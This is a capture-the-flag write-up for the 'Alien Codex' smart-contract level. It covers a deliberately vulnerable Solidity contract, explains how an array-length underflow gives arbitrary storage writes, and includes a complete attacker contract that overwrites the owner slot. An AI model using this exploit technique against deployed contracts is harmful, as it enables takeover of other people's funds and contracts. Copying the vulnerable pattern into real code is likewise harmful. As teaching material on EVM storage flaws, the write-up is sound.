---
description: dynamic array
---

# Alien Codex

## Description

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help:

* Understanding how array storage works
* Understanding [ABI specifications](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html)
* Using a very `underhanded` approach

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
```

The objective is to claim ownership of the challenge contract, but how? Hint: the first state variable of '../helpers/Ownable-05.sol' is `owner` and this state variable is inherited by contract `AlienCodex`. Our objective is to overwrite this `owner` state variable.

Which slot does `owner` reside? The state variable ordering in inheritance is explained in this post:

{% embed url="https://ethereum.stackexchange.com/questions/63403/in-solidity-how-does-the-slot-assignation-work-for-storage-variables-when-there/63404#63404" %}
In Solidity, how does the slot assignation work for storage variables when there's inheritance?
{% endembed %}

`codex` is a dynamic array. This challenge is all about <mark style="color:red;">**dynamic array storage layout**</mark>. This blog explains this topic perfectly:

{% embed url="https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

Challenge contract provides three functionalities to manipulate it:

* `record()`: push to `codex`
* `retract()`: pop from `codex` -> `length--` is the old fashion way of "pop" before Solidity v0.8
* `revise()`: overwrite an entry of `codex`

## Solution

First thing we have to do is calling `make_contact()`. This will set `contact` to true so that we can proceed.

Before Solidity v0.8, integer overflow/underflow is a thing. <mark style="color:red;">**Note that the length of**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**`codex`**</mark><mark style="color:red;">**&#x20;**</mark><mark style="color:red;">**can underflow.**</mark> At beginning the length of `codex` is 0. If we call `retract()`, the length becomes -1, which is $$2^{256} - 1$$ after underflow. Now we can treat `codex` as a dynamic array with arbitrary length.

Since `codex` can be long enough, it is possible to write to a specific index of `codex` such that storage slot 0 is overwritten. This can be done using the function `revise`, which is basically a powerful arbitrary write function:

```solidity
  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
```

Next, we are going to deduce which `i` to write:

```
slot 0: owner (20 bytes) + contact (1 byte)
slot 1: codex.length
...
slot h (h = keccak(1)): codex[0]
slot h+1: codex[1]
slot h+2: codex[2]
...
slot h+i <=> slot 0: codex[i] <=> owner

=> i = 0 - h
```

The solution contract is easy to write:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function owner() external view returns (address);
    function make_contact() external;
    function record(bytes32) external;
    function retract() external;
    function revise(uint256, bytes32) external;
}

contract AlienCodexHack {
    constructor(IAlienCodex challenge) {
        // contact = true;
        challenge.make_contact();

        // codex.length = 2**256 - 1;
        challenge.retract();

        // Overwrite codex[i] <=> slot 0
        uint256 h = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i;
        unchecked {
            i = 0 - h;
        }
        challenge.revise(i, bytes32(uint256(uint160(msg.sender))));

        // Verify if we are the owner now
        require(challenge.owner() == msg.sender, "Failed.");
    }
}
```

## Summary

This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of `2^256`. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017's [Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079)
